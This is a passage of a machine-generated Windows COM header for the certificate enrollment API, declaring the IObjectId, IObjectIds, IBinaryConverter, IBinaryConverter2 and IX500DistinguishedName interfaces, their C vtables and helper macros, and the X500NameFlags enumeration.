__RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectId * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ CERTENROLL_OBJECTID Name);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromValue )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IObjectId * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAlgorithmName )( \n            __RPC__in IObjectId * This,\n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName);\n        \n        END_INTERFACE\n    } IObjectIdVtbl;\n\n    interface IObjectId\n    {\n        CONST_VTBL struct IObjectIdVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectId_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectId_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectId_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectId_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectId_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectId_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectId_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectId_InitializeFromName(This,Name)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,Name) ) \n\n#define IObjectId_InitializeFromValue(This,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromValue(This,strValue) ) \n\n#define IObjectId_InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName)\t\\\n    ( (This)->lpVtbl -> InitializeFromAlgorithmName(This,GroupId,KeyFlags,AlgFlags,strAlgorithmName) ) \n\n#define IObjectId_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IObjectId_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IObjectId_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IObjectId_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IObjectId_GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmName(This,GroupId,KeyFlags,pstrAlgorithmName) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectId_INTERFACE_DEFINED__ */\n\n\n#ifndef __IObjectIds_INTERFACE_DEFINED__\n#define __IObjectIds_INTERFACE_DEFINED__\n\n/* interface IObjectIds */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectIds;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab301-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectIds : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IObjectId *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectIds * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectIds * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IObjectIds * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IObjectIds * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectId *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IObjectIds * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IObjectIds * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        END_INTERFACE\n    } IObjectIdsVtbl;\n\n    interface IObjectIds\n    {\n        CONST_VTBL struct IObjectIdsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectIds_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectIds_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectIds_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectIds_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectIds_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectIds_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectIds_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectIds_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IObjectIds_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IObjectIds_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IObjectIds_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IObjectIds_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IObjectIds_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IObjectIds_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectIds_INTERFACE_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_INTERFACE_DEFINED__\n#define __IBinaryConverter_INTERFACE_DEFINED__\n\n/* interface IBinaryConverter */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IBinaryConverter;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab302-217d-11da-b2a4-000e7bbb2b09\")\n    IBinaryConverter : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE StringToString( \n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VariantByteArrayToString( \n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE StringToVariantByteArray( \n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IBinaryConverterVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IBinaryConverter * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IBinaryConverter * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IBinaryConverter * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IBinaryConverter * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantByteArrayToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToVariantByteArray )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray);\n        \n        END_INTERFACE\n    } IBinaryConverterVtbl;\n\n    interface IBinaryConverter\n    {\n        CONST_VTBL struct IBinaryConverterVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IBinaryConverter_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IBinaryConverter_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IBinaryConverter_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IBinaryConverter_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IBinaryConverter_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IBinaryConverter_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IBinaryConverter_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IBinaryConverter_StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray)\t\\\n    ( (This)->lpVtbl -> StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IBinaryConverter_INTERFACE_DEFINED__ */\n\n\n#ifndef __IBinaryConverter2_INTERFACE_DEFINED__\n#define __IBinaryConverter2_INTERFACE_DEFINED__\n\n/* interface IBinaryConverter2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IBinaryConverter2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"8D7928B4-4E17-428D-9A17-728DF00D1B2B\")\n    IBinaryConverter2 : public IBinaryConverter\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE StringArrayToVariantArray( \n            /* [in] */ __RPC__in VARIANT *pvarStringArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarVariantArray) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VariantArrayToStringArray( \n            /* [in] */ __RPC__in VARIANT *pvarVariantArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarStringArray) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IBinaryConverter2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IBinaryConverter2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IBinaryConverter2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IBinaryConverter2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToString )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantByteArrayToString )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToVariantByteArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringArrayToVariantArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarStringArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarVariantArray);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantArrayToStringArray )( \n            __RPC__in IBinaryConverter2 * This,\n            /* [in] */ __RPC__in VARIANT *pvarVariantArray,\n            /* [retval][out] */ __RPC__out VARIANT *pvarStringArray);\n        \n        END_INTERFACE\n    } IBinaryConverter2Vtbl;\n\n    interface IBinaryConverter2\n    {\n        CONST_VTBL struct IBinaryConverter2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IBinaryConverter2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IBinaryConverter2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IBinaryConverter2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IBinaryConverter2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IBinaryConverter2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IBinaryConverter2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IBinaryConverter2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IBinaryConverter2_StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter2_VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter2_StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray)\t\\\n    ( (This)->lpVtbl -> StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray) ) \n\n\n#define IBinaryConverter2_StringArrayToVariantArray(This,pvarStringArray,pvarVariantArray)\t\\\n    ( (This)->lpVtbl -> StringArrayToVariantArray(This,pvarStringArray,pvarVariantArray) ) \n\n#define IBinaryConverter2_VariantArrayToStringArray(This,pvarVariantArray,pvarStringArray)\t\\\n    ( (This)->lpVtbl -> VariantArrayToStringArray(This,pvarVariantArray,pvarStringArray) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IBinaryConverter2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0004 */\n/* [local] */ \n\ntypedef \nenum X500NameFlags\n    {\n        XCN_CERT_NAME_STR_NONE\t= 0,\n        XCN_CERT_SIMPLE_NAME_STR\t= 1,\n        XCN_CERT_OID_NAME_STR\t= 2,\n        XCN_CERT_X500_NAME_STR\t= 3,\n        XCN_CERT_XML_NAME_STR\t= 4,\n        XCN_CERT_NAME_STR_SEMICOLON_FLAG\t= 0x40000000,\n        XCN_CERT_NAME_STR_NO_PLUS_FLAG\t= 0x20000000,\n        XCN_CERT_NAME_STR_NO_QUOTING_FLAG\t= 0x10000000,\n        XCN_CERT_NAME_STR_CRLF_FLAG\t= 0x8000000,\n        XCN_CERT_NAME_STR_COMMA_FLAG\t= 0x4000000,\n        XCN_CERT_NAME_STR_REVERSE_FLAG\t= 0x2000000,\n        XCN_CERT_NAME_STR_FORWARD_FLAG\t= 0x1000000,\n        XCN_CERT_NAME_STR_AMBIGUOUS_SEPARATOR_FLAGS\t= ( ( 0x40000000 | 0x8000000 )  | 0x4000000 ) ,\n        XCN_CERT_NAME_STR_DISABLE_IE4_UTF8_FLAG\t= 0x10000,\n        XCN_CERT_NAME_STR_ENABLE_T61_UNICODE_FLAG\t= 0x20000,\n        XCN_CERT_NAME_STR_ENABLE_UTF8_UNICODE_FLAG\t= 0x40000,\n        XCN_CERT_NAME_STR_FORCE_UTF8_DIR_STR_FLAG\t= 0x80000,\n        XCN_CERT_NAME_STR_DISABLE_UTF8_DIR_STR_FLAG\t= 0x100000,\n        XCN_CERT_NAME_STR_ENABLE_PUNYCODE_FLAG\t= 0x200000,\n        XCN_CERT_NAME_STR_DS_ESCAPED\t= 0x800000\n    } \tX500NameFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_s_ifspec;\n\n#ifndef __IX500DistinguishedName_INTERFACE_DEFINED__\n#define __IX500DistinguishedName_INTERFACE_DEFINED__\n\n/* interface IX500DistinguishedName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX500DistinguishedName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab303-217d-11da-b2a4-000e7bbb2b09\")\n    IX500DistinguishedName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Decode( \n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Encode( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedName( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX500DistinguishedNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in 